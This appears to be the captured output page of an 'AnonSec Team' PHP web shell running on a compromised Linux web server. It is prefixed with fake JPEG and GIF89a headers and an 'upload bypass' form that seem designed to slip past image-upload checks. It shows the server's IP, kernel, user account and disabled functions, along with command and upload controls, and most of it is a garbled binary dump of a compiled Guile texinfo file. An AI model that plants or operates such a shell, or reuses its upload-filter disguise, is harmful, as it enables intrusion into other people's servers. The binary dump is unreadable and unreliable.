����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 52.15.190.187
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib64/samba/../guile/2.0/ccache/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib64/samba/../guile/2.0/ccache/texinfo.go
GOOF----LE-8-2.0 �]p4h�)]gguile�	�	gdefine-module*�	�	�	gtexinfo�	�	gfilenameS�		ftexinfo.scm�	
gimportsS�	gsxml�	gsimple�	
�	
�	g	transform�	�	�	gssax�	ginput-parse�	�	�	gsrfi�	gsrfi-1�	�	�	gsrfi-11�	�	�	gsrfi-13�	�	�	 �	!gexportsS�	"gcall-with-file-and-dir�	#gtexi-command-specs�	$gtexi-command-depth�	%gtexi-fragment->stexi�	&gtexi->stexi�	'gstexi->sxml�	("#$%&'�	)gset-current-module�	*)�	+)�	,gthrow�	-gparser-error�	.ggetcwd�	/gchdir�	0gdirname�	1gcall-with-input-file�	2gbasename�	3ginclude�	43�	5gpara�	6g	PARAGRAPH�	756�	8gitem�	9gITEM�	:89�	;gentry�	<gENTRY�	=gheading�	><=��	?;>��	@gnoindent�	Ag
EMPTY-COMMAND�	B@A�	Cg
*fragment*�	DgFRAGMENT�	ECD�	Fg*braces*�	GgINLINE-TEXT�	HFG�	Igbold�	JIG�	Kgsample�	LKG�	Mgsamp�	NMG�	Ogcode�	POG�	Qgmath�	RQG�	Sgkbd�	TSG�	Ugkey�	VUG�	Wgvar�	XWG�	Ygenv�	ZYG�	[gfile�	\[G�	]gcommand�	^]G�	_goption�	`_G�	agdfn�	baG�	cgcite�	dcG�	egacro�	feG�	ggemail�	hgG�	igemph�	jiG�	kgstrong�	lkG�	mgsc�	nmG�	og	titlefont�	poG�	qgasis�	rqG�	sgb�	tsG�	ugi�	vuG�	wgr�	xwG�	yg	sansserif�	zyG�	{gslanted�	|{G�	}gt�	~}G�	gvalue��gINLINE-ARGS���U��gref��gnode��goptS��gname��gsection��g	info-file��gmanual������������gxref������������gpxref��gINLINE-TEXT-ARGS������������gurl��gALIAS��guref������������gtitle��greplacement����������ganchor�������gdots������gresult������gbullet������g	copyright������gtie������gimage��gwidth��gheight��galt-text��g	extension����[�������gacronym��gmeaning���������gEOL-ARGS��gnext��gprevious��gup�����������gc��gall������������gcomment�������gsetchapternewpage�������gsp�������gpage������gvskip�������gsyncodeindex�������gcontents������g
shortcontents������gsummarycontents������g
insertcopying������gdircategory��gcategory�������gtop�������g
printindex��gtype�������gparagraphindent��gindent�������g*ENVIRON-ARGS*��gEOL-TEXT������gitemx������gset������gcenter����������gsubtitle������gauthor������gchapter����������gappendix������gappendixsec������g
unnumbered������g
unnumberedsec������g
subsection������g
subsubsection������gappendixsubsec������gappendixsubsubsec������gunnumberedsubsec������gunnumberedsubsubsec������gchapheading������gmajorheading������=���g
subheading�����g
subsubheading���gdeftpx�g
EOL-TEXT-ARGS�g
attributes�����������	gdefcvx�
gclass�	�
��gdefivarx�

��gdeftypeivarx�g	data-type�
��gdefopx�g	arguments����
���������g
deftypeopx���
���������g
defmethodx��� ��!gdeftypemethodx�"��#!"��$gdefoptx�%$��&gdefvrx�'&���(gdefvarx�)(��*g
deftypevrx�+*���,gdeftypevarx�-,��.gdeffnx�/���0/��1.0��2g
deftypefnx�3���43��524��6gdefspecx�7��867��9gdefmacx�:97��;gdefunx�<;7��=gdeftypefunx�>��?=>��@gcindex�AgINDEX�BA;��C@B��Dgfindex�EDB��Fgvindex�GFB��Hgkindex�IHB��Jgpindex�KJB��Lgtindex�MLB��NgENVIRON�ON���PO��Qgignore�RQN�Sgifinfo�TSN�Ugiftex�VUN�Wgifhtml�XWN�Ygifxml�ZYN�[gifplaintext�\[N�]g	ifnotinfo�^]N�_gifnottex�`_N�ag	ifnothtml�baN�cgifnotxml�dcN�egifnotplaintext�feN�gg	titlepage�hgN�igmenu�jiN�kgdirentry�lkN�mgcopying�nmN�ogexample�poN�qgsmallexample�rqN�sgdisplay�tsN�ugsmalldisplay�vuN�wgverbatim�xwN�ygformat�zyN�{gsmallformat�|{N�}glisp�~}N�g	smalllisp��N��g	cartouche���N��g	quotation���N��gdeftp��N��������gdefcv���N�
���gdefivar���N
���gdeftypeivar���N
���gdefop��N��������g	deftypeop��N��������g	defmethod��N��������g
deftypemethod��N��������gdefopt���N���gdefvr���N����gdefvar���N���g	deftypevr���N����g
deftypevar���N���gdeffn��N/��������g	deftypefn��N3��������gdefspec��N��������gdefmac�������gdefun�������g
deftypefun��N��������gtable��g
TABLE-ENVIRON��g	formatter�������gitemize�������g	enumerate��gstart�������gftable�������gvtable�������47:?BEHJLNPRTVXZ\^`bdfhjlLnprtvxz|~�����������������������������������������������������
 #%')+-158:<?CEGIKMPRTVXZ\^`bdfhjlnprtvxz|~�����������������������������������	����	����	����
��������	����	����	��������	���gappendixsection���	����	����	�������������������gcommand-depths��gand=>��gassq��gcdr��gmemq��g%��oqw}i���gspace-significant?��gcommand-spec��fUnknown command��ginline-content?��gstring-null?��gstring-every��gchar-whitespace?��gstring-whitespace?��g*eof*���

��gread-eof-breaks��geof-object?��g	peek-char��g
next-token��freading a line��g	read-char��g
read-eof-line��g
skip-while�� 	

��gskip-whitespace�� 	��gskip-horizontal-whitespace��gchar-alphabetic?��fNonalphabetic @-command char: '��f'��gstring->symbol��g
next-token-of��gread-command��g
make-token��gpair?��gtoken?��gcar��g
token-kind��g
token-head��gassert-curr-char��@��fstart of the command��gSTRING��gstring�gend�gstring-trim-both�fmalformed @end�gEND�gbye�gINCLUDE�gSTART�gread-command-token�
�	freading verbatim�
gstring=?�f
@end verbatim�f
�
gread-verbatim-body�farguments of @-command�gmap�gstring-split�gread-arguments�greverse�f"@-command expected more arguments:�f'@-command didn't expect more arguments:�f#@-command missing required argument�garguments->attlist�gread-text-line�g
string-length�g
string-ref�g	substring�f@item formatter must be INLINE�fInvalid @item formatter�g
char-numeric?�fInvalid enumerate start��� gparse-table-args�!{�"fInline element lacks {�#gparse-environment-args�$gparse-eol-text-args�%fcan't happen�&gcomplete-start-command�'gfind-string-from-port?�(f
@settitle �)fNo \n@settitle  found�*f"You have a @settitle, but no title�+gtake-until-settitle�,gidentity�-�{}@
�.freading char data�/f�0gpeek-next-char�1fEOF while reading char data�2f �3gPARA�4gread-char-data�5fExpecting @end for �6f, got �7gassert-token�8gerror�9fno file listed�:gread-include-file-name�;gstring->list�<gsxml->string�=gsxml->node-name�>g
string-append�?gsymbol->string�@f-�Agindex�B5C�Cf/@item not ended by @end table/enumerate/itemize�Df(@item must be within a table environment�EfUnknown token type�F@}�Ggcall-with-input-string�HN�<9D�Igmake-command-parser�Jgstring?�Kgreverse-collect-str-drop-ws�Lgstring-index�Mgstring-trim-right�Ngstring-trim�Ogappend�Pgparse-inline-text-args�Qgmake-dom-parser�Rgreverse!�Sf!@-command didn't expect more args�Tf@-command expects more args�Ugsubstring/shared�Vf@-command doesn't take args�Wgpostprocess�Xginput-port?�Ygcar-eq?�ZfTable of Contents�[�Z�\g
make-contents�]gstring-prefix?�^gstring-suffix?�_gappend!�`gstring-tokenize�a/�bgstring-join�cgtrim-whitespace�df@set missing arguments�ef&expected a constant to define for @set�fg
fold-right�ggcons�hgassoc�if
unknown value�jfcopying isn't set yet�kgfold�lgpre-post-order�mgtexinfo-arguments�ng*text*�og	*default*�C5hp~]4	
 !(54+>"G,-h�-13@�gport
			gmessage			grest				gfilenameftexinfo.scm�
	Z
��	
	[	��		[	��				
	gnamegparser-error�C-R./0hN]4L56Fgfilenameftexinfo.scm�
	e	��		e	��	
	e	��		
C/hF]L6>gfilenameftexinfo.scm�
	h	��		h	��		
C12hp]
45OO4O>"GV445>X4O>"GCX4O>"GFgfilename
		lgproc		lgcurrent-dir			lgfilenameftexinfo.scm�
	]
��		c	��		c	��		d	��	.	g	
��	1	g	 ��	>	g	
��	@	d	��			l	gnamegcall-with-file-and-dir�g
documentationf$Call the one-argument procedure @var{proc} with an input port that
reads from @var{filename}. During the dynamic extent of @var{proc}'s
execution, the current directory will be @code{(dirname
@var{filename})}. This is useful for parsing documents that can include
files by relative path name.�C"R�#R��R����h0�]
4455$�$CCC�gcommand
		*g	max-depth		*gdepth			*gfilenameftexinfo.scm�
n
��	z	��	z	��	z	��	z	��	{	��	{	��	#{	��			*	gnamegtexi-command-depth�g
documentationf�Given the texinfo command @var{command}, return its nesting level, or
@code{#f} if it nests too deep for @var{max-depth}.

Examples:
@example
 (texi-command-depth 'chapter 4)        @result{} 1
 (texi-command-depth 'top 4)            @result{} 0
 (texi-command-depth 'subsection 4)     @result{} 3
 (texi-command-depth 'appendixsubsec 4) @result{} 3
 (texi-command-depth 'subsection 2)     @result{} #f
@end example�C$R��h|]6tgcommand
		
gfilenameftexinfo.scm�
~
��	
	��		
gnamegspace-significant?�C�R�#��-�h8�]	45$��&��6C6�gcommand
		1gspec		1gfilenameftexinfo.scm�
�
��	�	��	�	��	�	��	�	��	�	��	�	��	"�	��	%�	��	-�	��	1�	��		1gnamegcommand-spec�C�RG��h0y]�$"�$"�$CCqgcontent
		+gfilenameftexinfo.scm�
�
��	�	��		+gnameginline-content?�C�R���h �]	45$C6�gstr
		gt			gfilenameftexinfo.scm�
�
��	�	��		�	��	�	��		gnamegstring-whitespace?�C�R��R������hh]4455$64545
&'45
&4>"G""Cgport
		agline	$	agc		-	agfilenameftexinfo.scm�
�
��	�	��	�	��	�	��	�	��	�	��	�	��	�	��	 �	��	$�	��	$�	��	'�	��	-�	��	7�	��	8�	'��	D�	��	E�	��		agnameg
read-eof-line�C�R��h]6wgport
		
gfilenameftexinfo.scm�
�
��	�	��	
�	��		
gnamegskip-whitespace�C�R��h�]6�gport
		
gfilenameftexinfo.scm�
�
��	�	��	
�	��		
gnamegskip-horizontal-whitespace�C�R��-������h s]45$C45$CCkgc
		gfilenameftexinfo.scm�
�	��	�	��	
�	��	�	��	�	��		C	hP�]4545$"4>"G456�gport
		Ig
first-char			<gt			9gfilenameftexinfo.scm�
�
��	�	��		�	��	�	��	�	��	�	��	%�	��	)�	H��	.�	��	?�	��	I�	��		Ignamegread-command�C�Rh�]�C{gkind
		ghead		gfilenameftexinfo.scm�
�
��	�	��			gnameg
make-token�C�R�i�R�i�R�i�R�������������-�893h@i]!4>"G45!&"S:&"F.&"9?&",@&"\&"{&"}�$445564	5
�$Y44554
5$"	45$"4>"G456�$6�$6�$66agport
	<gpeeked	<gname	�<gcommand	�gt	��gfilenameftexinfo.scm�
�
��	�	��	�	��		�	��	�	��	�	��	�	��	)�	����	����	����	����	"����	����	����	����	����	����	����	����	����	����	����	����	����	
����	����	$����	����	����	���	
���	���	���	���	���	�� �	��"�	��$�	��-�	��1�	��4�	��8�	��<�	��-	<gnamegread-command-token�CR�	�
hP\]"A454>"G45$C45"���"���Tgport
		Ogstr-handler		Ogseed			Ogseed			Ggfragment			Ggfilenameftexinfo.scm�

��		��		��	
	 ��		$��		 ��		��		��		��	'	
��	-	��	/	
��	3	��	7	��	=	&��	A	��	G	
��	G	��		O	gnamegread-verbatim-body�C
R���ha]45$CCYgx
		gfilenameftexinfo.scm�
5	��	5	$��	
5	 ��		Ch`Y]454>"G444,555�$�&�(CCCCQgport
		_g	stop-char		_gstr			_gret		<	_gfilenameftexinfo.scm�
2
��	:		��	:	��	:	��	
;	��	:		��	:	��	4	��	&5	��	+6	��	06	*��	:6	��	<5	��	<5	��	A7	��	E7	��	H7	 ��	M7	
��	P7	5��	T7	
��	U8	
��		_	gnamegread-arguments�CR�-h�H]�$("��6("��$�"���(%("$6LLL6(
L6�$0�����$�"���"��F$4L��5"$C�6@gin
	�gnames	�gopt?		�gout		�gt	��gfilenameftexinfo.scm�
V	��	X	��		W	��	Y	��	Y	"��	!Y	��	'Z	��	/Z	$��	2Z	��	6W	��	;[	��	J[	��	PW	��	V]	
��	W]	��	a]	��	g^	
��	m_	��	u_	
��	{W	���b	���b	���c	���W	���h	���h	���i	���j	���j	���j	���j	(���j	7���j	1���i	���h	���d	
���d	���d	���d	#���d	���d	���e	���f	���e	
��-	�	gnamegloop�Ch(�]OQ6�gport
		"gargs		"g	arg-names			"gloop		
	"gfilenameftexinfo.scm�
U
��	
V	��	 V	8��	"V	��		"	gnamegarguments->attlist�CR���-	h�0]L
�$"Z4L
5@&K44L55445��5$"4L>"G"$CLL6(gf
	*	dgt	:	_gt
	i	~gfilenameftexinfo.scm�
p	��	q	��	
q	
��	r	��	q	
��	s	��	!s	(��	*s	��	*s	��	-t	��	0t	,��	7t	&��	:t	��	:t	��	Gu	��	Mv	��	Tu	��	iq	��	zx	��	~x	
��		~
gnameg
get-formatter�C����-����hI]"445545OQ�$Z
�$C&44
55"$"	4	
5$"45C
�$X&"$&""+45$"$"45C45CAgcommand
	gport	gline		glength		g
get-formatter		#gt		Z	sgt	��gfilenameftexinfo.scm�
m
��	n	��	n	!��	n	��	n	��	o	��	n	��	5y	��	8{	��	={	��	>|	��	A}	��	H~	��	I	��	L	.��	U	��	Z~	��	h�	��	w~	��	~�	����	����	���}	���y	����	����	����	����	����	����	����	(����	����	����	����	����	����	����	��'		gnamegparse-table-args�C R�G�!"���N<A�#� �$6A9D-%h�]"45������$4>"GD�$.4>"G44}55D	�$4>"GD
�$44
55D�$"�$"
�$!4>"G45D�$!4>"G45D�$4>"GD�$!4>"G45D�$"!�$"�$"�$D6�gcommand
	�gport	�gspec			�gcommand		�gtype		�g	arg-names		�gfilenameftexinfo.scm�
�
��	�	��		�	��	�	��	�	��	�	��	�	��	�	��	�	��	%�	��	&�	��	*�	��	,�	 ��	3�	��	>�	��	B�	��	K�	��	L�	��	P�	��	R�	 ��	Y�	��	d�	��	i�	��	u�	��	y�	����	����	����	����	 ����	����	����	����	����	����	����	����	����	����	����	���	���	���	��$�	��0�	��9�	��:�	��N�	��R�	��[�	��\�	��p�	��|�	����	����	����	����	����	��;	�	gnamegcomplete-start-command�C&R'(-)��*hX�]	45$"4>"G4>"G45
&6C�gport
		Wgt		.gfilenameftexinfo.scm�
�
��	�	��	�	��	�	��	�	��	�	��	�	��	#�	��	/�	��	A�	��	M�	��	S�	��	U�	��		Wgnamegtake-until-settitle�C+R,�-�.��/��F�0-1�2��35hv]=4$"5"�454545$?"45"(4	5$4	5$""���""���D@&"{&"}�$�"45"(4	5$4	5$""���""���@�$4
5">{�$
4
5"(}�$4>"G45"D
&�45	4	5$]$"4>"G"45"(4	5$4	5$""���""���	D	@&�4
5
4
5�"'4$"$"5"@4	5$14	$"$"5$""���""���
D$"	
�$l4>"G4>"G"45"(4	5$4	5$""���""���45D"4$"5"44	5$%4	$"5$""���""���"��C"��ngport
	gexpect-eof?	gpreserve-ws?		gstr-handler		gseed		g	end-chars		gseed		gfragment		'g	term-char		0gc		=gtoken	
�3gend?	�3gfilenameftexinfo.scm�
�	��	�	��		�	��	�	��	�	��	�	��	�	��	�	��	�	'��	#�	5��	'�	��	'�	
��	*�	��	0�	
��	3�	��	=�	��	B�	
��	H�	3��	L�	
��	P�	��	Q�	��	[�	��	\�	#��	`�	3��	b�	#��	f�	
��	|�	����	����	����	
����	3����	
����	����	����	����	#����	3����	#����	
����	����	����	����	����	+����	2���	��
�	���	�� �	0��$�	<��'�	0��.�	��6�	��7�	��=�	��@�	��J�	��P�	��U�	��[�	)��`�	��m�	
��s�	7��w�	
��{�	��|�	����	����	#����	7����	#����	
����	����	����	 ����	����	$����	7����	����	����	
���	���	&���	)���	:���	?����	
����	����	����	����	#��	��	&��	)��	:��	?���	#���	
��3�	��9	��C	*��G�	��H	��L	��S	��\	��r�	
��x	7��|�	
����	����	����	����	#���	7����	#����	
���	���	&���	,���	���	����	
���	 ���	1���	6����	
����	����	����	����	#���	 ���	1���	6����	#����	
��
	���	���		C4R���-56hH�]45$ 45&45�""$C6�gtoken
		Fgkind		Fgname			Fgt		.	Fgfilenameftexinfo.scm�

��		��	
	��		��		��		��	$	��	.	��	>	��	B	2��	F	��		F	gnamegassert-token�C7R��89h(�]	445545$6C�gport
		$gx		$gfilenameftexinfo.scm�
?
��	@	��	@	��	@	��	@	��	A	��	A	��	B	��	!B	��
		$gnamegread-include-file-name�C:R�;<h��]"g(45@�{&"}&"@&",�$
�"������"���4455"����gsxml
	�gin		mgout			mgt			Kgfilenameftexinfo.scm�
E
��	G	��	H	��	I	��	I	��	J	��	J	��	OJ	��	RK	��	\K	��	_L	��	bL	!��	eL	��	mL	��	mG	��	nG	��	qG	��	yG	��	zG	:���G	��	�gnamegsxml->node-name�g
documentationf-Turn some sxml string into a valid node name.�C=R��������������������>?@���@DFHJL=;#h�m]
�$"��$"��$"��$"��$"��$"��$"��$"�	�$"�
�$"u�$"g�$"Y
�$"K�$"=�$"/�$"!�$"�$"�$944545��5456�$"=�$"/�$"!�$"�$" �$<4454!4"555456Cegcommand
	�g	arguments	�gfdown		�gfup		�gparent-seed		�gargs	(@gargs	��gfilenameftexinfo.scm�
N
��	O	��	S	��
S	��
S	)��S	B��T	/��T	5��T	/��T	)��"S	��%S	��(S	��.U	��3V	��7V	��;V	 ��<V	-��>V	��@U	��IO	���X	���X	���X	)���X	B���Y	)���Z	*���Z	0���Z	*���Y	)���X	���X	���X	���[	���\	���\	���\	 ���\	-���\	���[	��)	�	gnamegindex�CAR&A�B��56h�]L6�gs
		
gfilenameftexinfo.scm�
j	��	j	,��	j	2��		j	6��	
j	%��		
gnamegnew-para�CA��Aw
4�3��,5hj]LL6bgs
		
gfilenameftexinfo.scm�
k	*��	k	;��	k	A��	
k	6��		
C�/8;��-CN79��D3":3hd]LLLL6\gport
		gfilenameftexinfo.scm�
�	$��	�	1��	�	&��		C�5hj]LL6bgs
		
gfilenameftexinfo.scm�
k	*��	k	;��	k	A��	
k	6��		
CE���F5hj]LL6bgs
		
gfilenameftexinfo.scm�
k	*��	k	;��	k	A��	
k	6��		
C56'h�b]]"54LL>G45$1�$"�$645L	LLL645�$^4$"5$
L	O"4L45	4$L"55"��6
�$�L&"L�$A4
455���		$"4>"G	""L&4
L>"G"45L	LLL6�$�L&"L�$ 4LL455L	LLL6L& 4LL455L	LLL6L&"L�$#LLL454L	LLL56L6�$L�"����$3445LO5"����$�454
5		�
	��454$$""5
$$

L	O""""$$L""���""����4L
L4
55"���6$wL$"4 5$]4!4"5#5$"
44"55�$145$L	O4L
%&5"��R"��R"��N"��JZgport
	�gexpect-eof?	�gend-para		�gneed-break?		�gseed		�gseed		;gtoken		;gs		N	\gkey		c;gseed	��gspec	�(gt		%gs	Ucgs	��gs	��gs	�gseed	Qkghead	{1gspec		�1ghead	
�1gtype	�1ginline?	�1gseed	
�1gend-para	�1gnew-para	1gseed	��gfilenameftexinfo.scm�
z	��	�	��	�	��	!�	��	+�	��	4�	��	G�	$��	H�	 ��	N�	��	\i	��	]�	��	c�	��	o�	#��	u�	$����	#����	����	����	����	,����	?����	,����	-����	,����	����	����	����	����	����	%����	3����	%����	����	$����	0���	���	��
�	���	%���	��0�	/��4�	��5�	��;�	-��B�	��O�	��U�	��ci	��l�	��t�	����	����	����	$����	7����	����	���i	����	/����	����	����	$����	8����	����	���i	����	����	����	9����	5���i	���	��	�	��
�	���	���	7��/�	��8�	��9�	#��<�	$��Q�	#��Q�	��k�	��t�	��u�	$��{�	��~�	$����	����	$����	����	$����	����	'����	����	$����	%����	)����	$����	����	(����	,����	����	(����	,���	���	9���	���	8��#�	��1�	��7�	*��;�	��;�	��G�	!��M�	-��W�	��X�	��[�	 ��e�	��i�	��o�	��r�	'��z�	��{�	���	����	����	���j	%���j	,���j	2���j	6���j	%����	���	�	gnamegloop�CG,HhP�]L4>G4LL54L545		$	"�		$"45
OLQ&",	&"
&"&"�$L6
&4L5L6OLL
LLQ&4455"	
$"	456�gcommand
	Jgport	Jgsig-ws?		Jgparent-seed		Jgcommand		Jg	arguments		Jgexpected-content		Jgparent-seed		'Jgseed		6Jgt			A	Wgeof-closes?			WJgsig-ws?	
	lJgnew-para		vJgs	��gloop	�Jgfilenameftexinfo.scm�
a	��	c	��	b	��	d	��	'd	��	*e	��	6d	��	9f	 ��	Af	��	Sg	6��	Tg	 ��	Wd	��	_h	��	fh	$��	ld	���s	���r	
���i	���w	���r	
���x	���x	���i	���z	��n	&��n	��o	��o	(��(o	��8}	$��>~	)��Jz	��!	J	gnamegvisit�Ch(�]OLLLQ6�gcommand
		#gport		#gseed			#gvisit		
	#gfilenameftexinfo.scm�
`	��	
a	��		#	Ch�]OC�gfdown
		gfup		gstr-handler			gfilenameftexinfo.scm�
_
��			gnamegmake-command-parser�CIR>J�2h��]!(C"�"�($C4?�C4�5$*���$4�5""�����("%$("�"
4?��"��j"��Y4�5$�(4�5$C"��0"��,"��(�g	fragments
	�g	fragments	�gresult		�gstrs		�gall-whitespace?		�gfilenameftexinfo.scm�
�
��	�	��		�	��	�	��	�	��	�	��	"�	��	+�	��	-�	��	2�	��	4�	��	8�	��	;�	��	@�	+��	C�	%��	I�	��	J�	��	O�	'��	Q�	��	b�	��	e�	��	h�	��	n�	����	����	����	����	����	����	����	����	����	����	-����	8����	����	����		����	����		����	����	����	����		����	����		����	����	��0	�gnamegreverse-collect-str-drop-ws�CKRJ�LMN�OhH];"4(i")4("
45�5��6�$14�5$!4�5$�"���"���"���"�����$���"��t4�,5$s4�,54�54�54�5	�4		5$"	�4
�44	5$"�5�5"����(4�5"��"���"���gport
	Hgspec	Hgtext		Hgin		:gcur		:gout		:gargs		+	9gparts	�ghead	�grev-tail	�glast		�gfilenameftexinfo.scm�

��		��		��		��		��	 
	)��	)
	#��	+	��	+	
��	6	*��	9	��	9	��	<	��	@	��	A	��	F	��	H	��	L	
��	M	��	R	#��	T	��	X	
��	]	��	i	
��	x	
��	y	��	}	���
	
���
	���
	���
	���	���	���	���	���	���	"���	���	���	���	&���	���	���	���	 ���	���	���	���	 ���	���	���	���	���	���	(���	���	���	���	'���	#��	?��	��	��		��	��	
��	��	 ��"	-��$	 ��+	7��.	
��:	��:	��=	��>	$��H	��N	H	gnamegparse-inline-text-args�CPRIh�]C�gcommand
		gargs		gcontent			gseed			gfilenameftexinfo.scm�
	��	 	��			CK���PhXm]4545���&45��C("����Cegcommand
		Tgargs		Tgparent-seed			Tgseed			Tgseed				Tgspec			Tgcommand			Tgfilenameftexinfo.scm�
!	��	"	��		"	��	#	��	"	��	$	��	"	��	%	��	%	��	#%	��	'&	%��	(&	(��	2&	��	5&	��	8&	��	A)	��	I)	/��	L)	(��	P(	��		T	C�h �]45$�C��C�gstring1
		gstring2		gseed			gfilenameftexinfo.scm�
+	��	,		��	
,	��	-		��	.		��			Chc]6[gfilenameftexinfo.scm�

��		��		
gnamegmake-dom-parser�CQR4Qi5��R-STJLUFVhh.]J4L5��45���$*&	�C"((66�$��6(64�5$4	� 5"		$P4
�	�5
	
�$
��"��q
����4�
	5�"��J��"���"-��$!��&�����""���""���"���"���(C
6&gcommand
	fgport	fgargs		fgspec		fgcommand		fg	arg-names		"fgargs		>Eg	arg-names		>Egout		>Egt		�Egrest	
��gfilenameftexinfo.scm�
3	��	4	��	4	!��	
4	6��	4	��	
4	��	4	��	5	��	4	��	6	��	4	��	!7	��	"4	��	*8	��	3=	��	6=	��	9=	
��	>?	
��	D@	��	JB	��	PB	��	VC	%��	\C	��	_E	��	c@	��	jF	��	oF	��	u@	��	{H	!���H	���J	���J	���J	���J	���J	(���J	6���J	(���@	���L	���L	1���L	<���L	���L	���M	���M	���N	*���N	���N	���O	*���O	���O	6���P	+���Q	+���Q	6���Q	+���P	%���P	���O	���T	���T	��W	$��W	4��W	��
W	��U	��U	$��U	��U	��U	5��U	A�� U	��#V	��&V	/��(V	��ET	��E?	
��J?	<��T?	
��Z:	
��[:	��b;	!��f;	��S	f	CO#R#h�]6�gcommand
		
gport		
gfilenameftexinfo.scm�
Y
��	
\	��		
	gnamegparse-eol-text-args�C$RWQCh�]4455�6�gport
		gfilenameftexinfo.scm�
i	��	j	��	j	��	j	)��	j	:��	j	��	j	��	j	��			gnamegparse�CXWQCGh0�]	45$4455�66�gstring-or-port
		+gparse		+gfilenameftexinfo.scm�
e
��	k	��	k	��	j	��	j	��	j	)��	j	:��	 j	��	!j	��	#j	��	+m	��		+gnamegtexi-fragment->stexi�g
documentationf�Parse the texinfo commands in @var{string-or-port}, and return the
resultant stexi tree. The head of the tree will be the special command,
@code{*fragment*}.�C%RQ+Wh0�]	454>"G45�6ygport
		*gparser		*gfilenameftexinfo.scm�
w
��	{	��	{	��	
|	��	}	��	"}	��	%}	,��	'}	��	(}	��	*}	��		*gnamegtexi->stexi�g
documentationf�Read a full texinfo document from @var{port} and return the parsed
stexi tree. The parsing will start at the @code{@@settitle} and end at
@code{@@bye} or EOF.�C&Rh�]�$��CC�gx
		gy		gfilenameftexinfo.scm�

��		��			��		*��		%��			gnamegcar-eq?�CYR�R$Y���8O5��
h(9]3(45�D��$4���	5"$�4�5$4����5��"�$45�D�$W("�(	"�4L�>G4	5�"��0��
$"�����"����"���1gin
	!gout	!gdepth		!gt		/!g	node-name		Ygout-cdr	��gout-car	��gnew-in	��gnew-out	��	gfilenameftexinfo.scm�
�	��	�	��	�	"��	
�	-��	�	��	�	��	�	��	�	��	�	��	�	��	$�	0��	*�	��	/�	��	8�	!��	=�	*��	?�	3��	A�	!��	E�	��	F�	'��	J�	-��	M�	3��	R�	'��	S�	!��	Y�	��	`�	��	d�	
��	h�	 ��	i�	+��	p�	��	r�	��	w�	��	{�	
����	����	.����	2����	����	4����	.����	;����	����	1����	8����	<����	1����	����	����	-����	����	����	����	����	����	����	"����	"����	���	���	���	��!�	��=	!	gnameglp�C[h0�]OQ4>GC�gtree
		+glp	
	+g_			+gcontents			+gfilenameftexinfo.scm�
�
��	�	��	�	'��	�	��	�	��	%�	��		+gnameg
make-contents�C\R]2^_`ab/	h`�]$"	45$"	45445$"5$	�"6�gstr
		^g
trim-left?		^gtrim-right?			^gleft-space?			^gright-space?		,	^gtail		G	^gfilenameftexinfo.scm�
�
��	�	��	�	��	�	+��	�	��	�	��	�	��	$�	��	(�	,��	,�	��	,�	��	/�	��	2�	��	>�	��	@�	)��	E�	/��	G�	��	G�	��	Q�	��	S�	'��	V�	!��	^�	��		^	gnamegtrim-whitespace�CcRRJc�8dLefg�h�U�im�j�k\�hx~](45D4�5$4�$�"4���5�"�����$����$���(4>"G"4���5$r4��� 5$:�4���
54����5������"�����������"���	6
�$\4�4
44����5��55$"4����55"����$���"��f�$A4�45�$"455"���$&�44L55"���4L�$"45>G��"������"���vgin
	vgout	vgstate		vgfirst?		vgsig-ws?		vgkey		_Zgi	�
gt	@`gt	��gkid-out	8Zgstate	8Zgfilenameftexinfo.scm�
�	��	�	��		�	��	�	��	�	��	�	��	�	��	�	��	"�	��	(�	��	+�	��	0�	��	5�	'��	:�	>��	;�	7��	=�	��	@�	��	S�	��	V�	
��	W�	��	[�	��	^�	��	_�	��	m�	��	r�		��	s�	��	w�	&��	~�	����	
����	����	
����		����	����	$����	����	
����	����	����	 ����	+����	 ����	&����	1����	<����	&����	D����	 ����	����	����	����	-����	8����	&��
�	���	���	
���	���	��#�	 ��$�	��'�	 ��*�	-��.�	3��1�	8��6�	-��7�	'��<�	 ��@�	��@�	��O�	��S�	&��V�	6��]�	��b�	��w�		����	����	����	"����	����		����	����	����	 ����	$����	+����	$����	����	����	����	&����	����	����		����	����	����	����	'���	���		���	���	���	'��%�	��,�	*��0�	>��2�	*��7�	��;�		��B�	��G�	��Z�	��]�	��`�	��c�	��v�	��t	v	gnamegloop�Ch0�]OQ4>GC�gtree
		+gloop		+gout		!	+gstate		!	+gfilenameftexinfo.scm�
�
��	�	��	�	��	�	 ��	 �	��	$�	��		+gnamegpostprocess�CWRl�mhq-13�Cigx
			gt			gfilenameftexinfo.scm�
�	��	�	!��	�	��			
Cnh^]CVgx
		gt		gfilenameftexinfo.scm�
�	��			Cohh-13�C`gx
			gt			gfilenameftexinfo.scm�
�	��	�	#��			
Ch �]���6�gtree
		gfilenameftexinfo.scm�
�
��	�	��	�	��		gnamegstexi->sxml�g
documentationf Transform the stexi tree @var{tree} into sxml. This involves
replacing the @code{%} element that keeps the texinfo arguments with an
element for each argument.

FIXME: right now it just changes % to @code{texinfo-arguments} -- that
doesn't hang with the idea of making a dtd at some point�C'RCgm
		,gparser
]�c�gfilenameftexinfo.scm�		J
���	Z
��o	]
��r�	��u	m
��xi	��|h
��\n
��~
��	4�
��	��
��
��
��
��	��
��
���
��
+�
��
��
����
���
����
����
����
����
��p
���2
��:U
��"�m
��'��
��)'�
��3�
��4t
��5�?
��7�E
��<iN
��P�_
��T_�
��Y�
��]�
��]�1	��]�1	��c�0
��d{Y
��g>e
��iw
��i�
��oh�
��q��
��z��
��~l�
��2	~n
C6

AnonSec - 2021